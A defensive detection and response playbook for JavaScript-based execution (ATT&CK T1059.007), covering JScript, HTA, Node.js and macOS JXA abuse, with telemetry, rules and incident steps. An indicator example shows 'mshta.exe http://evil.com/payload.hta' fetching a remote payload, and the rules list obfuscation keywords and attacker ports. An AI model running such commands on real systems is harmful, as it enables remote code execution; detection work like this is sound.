| Technique | JavaScript (T1059.007) |
| Tactic | Execution |
| Platforms | Linux, macOS, Windows |
Overview
T1059.007 covers adversary abuse of JavaScript and its runtime variants — including JScript on Windows, Node.js across platforms, and JavaScript for Automation (JXA) on macOS — to execute malicious code. Attackers use these scripting environments to run payloads delivered via phishing, drive-by downloads, or as secondary stages after initial access, leveraging the fact that JavaScript interpreters are either pre-installed on the OS or trivially available.
Every security team needs detection coverage here because JavaScript execution is deeply embedded in legitimate enterprise activity, giving attackers substantial cover. The technique spans all three major platforms, supports heavy obfuscation, and is used by everything from commodity RATs to advanced persistent threats — making it a high-value detection target with direct impact on stopping early-stage compromise.
Attacker Perspective
Attackers exploit JavaScript’s ubiquity and platform-native integration to execute malicious code in environments where script execution is expected and often unmonitored.
- JScript via Windows Script Host: Phishing attachments deliver
.jsor.jsefiles executed bywscript.exeorcscript.exe, commonly used by loaders like Qbot and Dridex to fetch and execute second-stage payloads. - HTA abuse with embedded JScript:
mshta.exerenders HTML Application files containing JScript that runs with full user privileges, bypassing many application control policies — seen in APT41 and FIN7 campaigns. - Node.js for cross-platform RATs: Attackers bundle or fetch Node.js to run malicious
.jspayloads, as seen with tools like Adwind/JRAT and emerging threat actors usingnode.exespawned from Office macros or installers. - macOS JXA via osascript: Attackers run
osascript -l JavaScript -e '<payload>'or compile JXA into standalone app bundles to interact with the OS, exfiltrate data, and establish persistence — used in Silver Sparrow and multiple red team frameworks.
JavaScript is attractive to attackers because it is pre-installed or easily deployed, inherently text-based (making obfuscation trivial), and executes in a trusted scripting context that many endpoint controls overlook.
Detection Strategy
Required Telemetry
- Windows — Process Creation (Sysmon Event ID 1): Deploy Sysmon with a configuration that captures
Image,CommandLine,ParentImage,ParentCommandLine,User, andHashes. Without Sysmon, enable Windows Security audit process creation via GPO:Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation = Success, generating Security Event ID 4688. Enable command-line logging in the registry:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit → ProcessCreationIncludeCmdLine_Enabled = 1. - Windows — Script Block Logging for JScript: While primarily a PowerShell control, enable Windows Script Host audit logging via Sysmon file creation and process events. For JScript specifically, monitor Sysmon Event ID 1 for
wscript.exeandcscript.exewith full command lines captured. - Windows — File Events (Sysmon Event ID 11): Capture file creation events to detect
.js,.jse,.htafiles written to temp directories, AppData, or public folders. EnsureTargetFilenameis logged. - Windows — Network Connections (Sysmon Event ID 3): Capture outbound network connections with
Image,DestinationIp,DestinationPort, andInitiated = trueto correlate script processes making C2 or download connections. - Windows — Registry Events (Sysmon Event ID 13): Capture registry value sets, particularly writes to
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunandHKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, to detect JS-based persistence. - Windows — DNS Query Logging (Sysmon Event ID 22): Enable DNS query logging to capture domain lookups made by script interpreter processes.
- macOS — Unified Log / Endpoint Security Framework: Use an EDR or auditd-equivalent to capture process execution with full argument lists. Configure OpenBSM or an ESF-capable agent to log
execvecalls forosascript,node, andosacompile. At minimum, ensure your macOS EDR capturesprocess_name,cmdline,parent_process, anduser. - Linux — auditd: Add rules to capture execution of
node,nodejs, and any interpreter found in unusual paths:-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/node -k js_execution. LogEXECVEandPROCTITLErecord types. Forward logs via rsyslog or Filebeat to your SIEM. - Web Proxy / DNS Logs: Capture all outbound HTTP/HTTPS requests with full URL, user-agent, and response code to detect script interpreters pulling remote payloads.
- Email Gateway Logs: Log and quarantine
.js,.jse,.htaattachments to track initial delivery vectors.
Key Indicators
- Suspicious parent-child process relationships (Sysmon Event ID 1):
ParentImage=winword.exe,excel.exe,outlook.exe,powerpnt.exe, orexplorer.exespawningwscript.exe,cscript.exe,mshta.exe, ornode.exe. Browser processes (chrome.exe,msedge.exe,firefox.exe) spawning any of these script interpreters is especially high-fidelity. - JScript execution from temp or user-writable paths (Sysmon Event ID 1):
CommandLinecontaining paths like\AppData\Local\Temp\,\Users\Public\,\Windows\Temp\, or\Downloads\combined withImageending inwscript.exeorcscript.exe. - HTA execution (Sysmon Event ID 1):
Imageending inmshta.exewithCommandLinecontaining.hta,javascript:,vbscript:, or a remote URL (http://,https://). Example:mshta.exe http://evil.com/payload.hta. - Node.js executing remote or temp-resident scripts (Sysmon Event ID 1):
Imageending innode.exewithCommandLinereferencing URLs directly, or scripts located in\AppData\,\Temp\, or\Public\. Also watch fornode.exespawned from non-standard parents likecmd.exeorpowershell.exe. - Deno writing remote files (Sysmon Event ID 11):
TargetFilenamecontaining\deno\remote\https\or\deno\gen\within a user’s\AppData\path. - macOS osascript with JavaScript language flag (process logs):
cmdlinecontainingosascriptand-l JavaScriptor-l js, especially when spawned from non-interactive shells, LaunchAgents, or browser processes. - JS interpreter making outbound connections (Sysmon Event ID 3):
Imagematchingwscript.exe,cscript.exe,mshta.exe, ornode.exewithInitiated = trueandDestinationPortin80,443,8080,8443, or non-standard ports. - Registry persistence written by JS interpreters (Sysmon Event ID 13):
Imagematchingwscript.exeorcscript.exewriting toTargetObjectcontainingCurrentVersion\Run. Also watch forDetailsstarting with%AppData%\Roaming\Oracle\bin\(Adwind indicator). - Encoded or obfuscated command lines (Sysmon Event ID 1):
CommandLinecontaining large Base64-like strings, excessive string concatenation patterns likeString.fromCharCode,eval(,unescape(, orWScript.Shellcombined with.Run(. - HH.exe launching script content (Sysmon Event ID 1):
Imageending inhh.exewithCommandLinereferencing paths in\Temp\,\Downloads\,\Users\Public\, or\Content.Outlook\.
Detection Logic
Rule 1 — Broad: Script interpreter execution from user-writable or suspicious path
IF process.image IN ["wscript.exe","cscript.exe","mshta.exe","node.exe","deno.exe"] AND process.commandline CONTAINS_ANY ["\AppData\","\Temp\","\Users\Public\","\Downloads\","http://","https://"] THEN alert(severity=medium)
This catches any JS/JScript interpreter operating on content in locations commonly used for payload staging. Expect moderate volume — requires tuning for legitimate Node.js developer activity and enterprise tooling that uses these paths.
Rule 2 — Targeted: Office or browser application spawning a script interpreter
IF process.parent_image IN ["winword.exe","excel.exe","outlook.exe","powerpnt.exe","chrome.exe","msedge.exe","firefox.exe","iexplore.exe"] AND process.image IN ["wscript.exe","cscript.exe","mshta.exe","node.exe","powershell.exe"] THEN alert(severity=high)
This catches the classic phishing execution chain where a document or browser triggers a script interpreter. Expected volume is low in most environments — treat all alerts as requiring investigation. False positives are rare and usually tied to poorly designed macro-based business tools.
Rule 3 — High-precision: Script interpreter initiating outbound network connection
IF process.image IN ["wscript.exe","cscript.exe","mshta.exe"] AND network.initiated = true AND network.destination_port IN [80,443,8080,8443,1080,4444,4445] AND NOT network.destination_ip IN [trusted_internal_ranges] THEN alert(severity=high)
Script host processes have almost no legitimate reason to make outbound connections directly. This rule is very high precision — near every hit warrants escalation. Low expected volume even in large environments.
Rule 4 — macOS: osascript executing JavaScript language payloads
IF process.name = "osascript" AND process.cmdline CONTAINS "-l JavaScript" AND process.parent_name NOT IN ["Automator","Script Editor","xcode"] AND NOT process.user IN [known_admin_accounts_using_jxa] THEN alert(severity=high)
JXA via the command line is rarely required for legitimate enterprise operations. This rule catches attacker use of osascript for JXA payloads while excluding common developer and IT automation parent contexts. Expect very low volume — investigate all hits.
Tuning Guidance
- Node.js developer workstations: Developers legitimately run
node.exeagainst scripts in their project directories (which may include AppData-adjacent paths on Windows). Exclude by scoping to developer OU or by adding exclusions forprocess.commandline CONTAINS ["node_modules","package.json","\src\","\dist\"]and verifying the parent is a known IDE likecode.exeordevenv.exe. - Enterprise management tools using wscript/cscript: SCCM, Ivanti, and similar management platforms sometimes call
cscript.exeorwscript.exefor legitimate admin scripts. Exclude by parent process:parent_process IN ["ccmexec.exe","msiexec.exe","sccm.exe"]combined with known script paths in controlled directories (e.g.,C:\Windows\CCM\). - HTA-based enterprise applications: Some legacy enterprise apps still use HTA for local UI. Identify these by inventorying known HTA file paths and hashes, then exclude:
process.commandline CONTAINS known_hta_path AND process.image ENDSWITH "mshta.exe"scoped to specific host groups. - macOS IT automation with osascript: IT teams may use osascript (including JXA) for legitimate configuration management. Exclude by ensuring the parent process is a known management agent (e.g.,
jamf,puppet) and the user is a service account:process.parent_name IN ["jamf","puppet","chef-client"] AND process.user IN [service_account_list]. - CI/CD pipelines running JavaScript: Build agents (Jenkins, GitHub Actions runners, GitLab runners) legitimately execute Node.js scripts. Exclude these hosts by hostname prefix or network segment, or by parent process matching the build agent binary.
Community Sigma Rules — The following rules from the SigmaHQ community repository implement detection for this technique. Use Uncoder.io or pySigma to convert them to your SIEM’s query language.
When the Alert Fires: Investigation Steps
- Verify the alert is real — confirm the raw event exists in the source log. Pull the original Sysmon Event ID 1 (or Security Event 4688) record from your SIEM and confirm the
Image,CommandLine,ParentImage, andUserfields match what the detection fired on. Do not proceed on an alert that cannot be verified in the raw log — check for log ingestion delays or gaps before assuming the event occurred. - Identify the affected host and user — flag if privileged. Record the hostname, IP address, operating system version, and the user account that spawned the script process from the Event ID 1 log. Check if the account is a local admin, domain admin, or service account in your directory (Active Directory, Okta, or Entra ID) — privileged account involvement raises the severity immediately.
- Pull the full command-line and parent process chain. In Sysmon logs, query for all Event ID 1 records in a ±30-minute window on the affected host, filtering by the same
ProcessGuidlineage. Trace upward throughParentProcessGuidfields to build the full execution tree — identify what launched the script interpreter and what the interpreter itself launched. Pay special attention to obfuscation indicators inCommandLinesuch aseval(,String.fromCharCode, Base64 blobs, or chainedWScript.Shell.Runcalls. - Check for network connections and files written to disk. Query Sysmon Event ID 3 (network connection) and Event ID 11 (file creation) for the same
ProcessGuidandHostNamein the same time window. Note any outbound IPs, domains (cross-reference against threat intel feeds like VirusTotal, Shodan, or your TIP), and any files dropped — particularly executables, additional scripts, or DLLs in temp or AppData paths. Also check Sysmon Event ID 22 (DNS query) for domains resolved by the script process. - Look for lateral movement from this host. Query Windows Security Event ID 4624 (logon) and 4648 (explicit credential use) on adjacent hosts, filtering for logons sourced from the affected host’s IP in the hour following the alert. Also check Sysmon Event ID 3 for SMB (port 445), RDP (port 3389), or WinRM (port 5985/5986) connections initiated from the affected host. In your SIEM, pivot on the source IP to identify any authentication events or remote execution attempts.
- Search for persistence mechanisms added. Query Sysmon Event ID 13 (registry value set) for writes to
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and scheduled task creation (Security Event ID 4698 or Sysmon Event ID 1 showingschtasks.exe) in the time window on the affected host. On macOS, check for new LaunchAgent plist files written to~/Library/LaunchAgents/or/Library/LaunchDaemons/using EDR file creation telemetry. - Escalation decision — what separates confirmed incident from benign. Treat the alert as a confirmed incident requiring escalation if any of the following are true: the script process made an outbound connection to an external or uncategorized IP/domain; additional payloads were written to disk; persistence mechanisms were created; the parent process is an Office application, browser, or email client; or the executing account is privileged. If none of these are present and a known legitimate tool (CI/CD agent, management platform) is the parent, document the finding and close as a false positive with a tuning recommendation applied to the detection rule.
Response Playbook
Containment
- Isolate the host from the network immediately, but leave it powered on. Use your EDR’s network isolation feature (CrowdStrike “contain host,” Defender for Endpoint “isolate device,” or a VLAN ACL change) to cut off all network access except the management channel. Keeping the host powered on preserves volatile memory (running processes, network connections, encryption keys) for forensic capture.
- Disable the affected user account. In Active Directory, run
Disable-ADAccount -Identity <username>or use the Entra ID portal to disable the account. If the account has active sessions or tokens (OAuth, Kerberos TGTs), revoke them: in Entra ID use “Revoke sessions,” in on-prem environments reset the account password immediately to invalidate Kerberos tickets. - Kill the malicious process if it is still running. Use your EDR console to terminate the process by PID on the isolated host, or remotely via
taskkill /F /PID <pid>through your management channel. Record the PID, process hash, and full command line before termination. - Block identified C2 IPs and domains at the perimeter. Submit all external IPs and domains identified in Sysmon network and DNS logs to your firewall team and DNS sinkhole immediately. Also add them to your proxy blocklist and push IOCs to your SIEM for retroactive hunting across all other hosts in the environment.
- Preserve forensic evidence before any remediation. Capture a memory image using WinPmem, Magnet RAM Capture, or your EDR’s memory acquisition feature. Also collect a disk image or at minimum the relevant event logs, prefetch files, and the malicious script file itself for analysis.
Eradication
- Remove all identified persistence mechanisms. Delete any registry Run keys written by the malicious process (identified in Sysmon Event ID 13 review). Remove any malicious scheduled tasks identified during investigation using
schtasks /delete /tn "<taskname>" /f. On macOS, remove any LaunchAgent or LaunchDaemon plist files written by the attacker and unload them withlaunchctl unload <path>. - Delete all dropped payloads and staging files. Remove all files written to temp directories, AppData, or Public folders that were identified in Sysmon Event ID 11 during the investigation. Cross-reference file hashes against VirusTotal and your threat intel platform before deletion to document IOCs. Ensure you also search for copies in Recycle Bin and alternate data streams.
- Reset credentials for all accounts that executed malicious activity. Reset the primary affected account’s password and force MFA re-enrollment. If the investigation reveals the script accessed credential stores (LSASS, browser password databases, or keychain on macOS), treat all credentials stored on the host as compromised and coordinate a broader password reset for those accounts.
- Hunt for the same IOCs across all other hosts in the environment. Using your SIEM, search the previous 30 days for the same file hashes, script content patterns, C2 domains, and registry keys across all endpoints. Pay particular attention to any host that the affected user authenticated to. Check lateral movement targets for signs of the same script execution pattern.
- Rotate any secrets or API keys that may have been exposed. If the malicious script ran in a context that had access to environment variables, credential files, or secrets managers, rotate those secrets immediately. This includes cloud provider credentials, service account tokens, and any API keys stored in files on the affected host.
Recovery
- Re-image the host if confidence in eradication is less than certain. If the malicious script had elevated privileges, established multiple persistence mechanisms, or ran for an extended period before detection, re-image from a known-good baseline rather than attempting manual cleanup. Restore user data from pre-compromise backups only after verifying the backup is clean.
- Re-enable the user account only after confirming no persistence remains. Before unlocking the account, verify through EDR telemetry and a manual review of startup locations, scheduled tasks, and registry Run keys that no attacker artifacts remain. Brief the user on the incident and require a password change on next login with MFA enforced.
- Monitor the affected host and user account for 72 hours post-remediation. Create a temporary high-sensitivity watch rule in your SIEM scoped to the specific hostname and username that lowers alert thresholds for all script interpreter activity, outbound connections, and authentication events. Assign a dedicated analyst to review these alerts daily during the monitoring window.
- Document the full incident timeline and update detections with new IOCs. Write a formal incident report capturing the initial vector, execution chain, persistence methods, lateral movement, and all IOCs discovered. Submit new indicators to your threat intel platform and update existing detection rules with any new file hashes, command-line patterns, or C2 infrastructure identified during the investigation.
- Conduct a post-incident review and close gaps that allowed the technique to succeed. Review whether email gateway rules should have blocked the initial
.jsor.htaattachment, whether application control (AppLocker, WDAC) could have prevented execution of unsigned scripts from user-writable paths, and whether script block logging coverage was complete. Present findings and recommended control improvements to the security engineering team within five business days.
Stay Ahead
Get daily threat intelligence and detection playbooks.
Free. No account. No email. Follow in Feedly, Inoreader, or any RSS reader.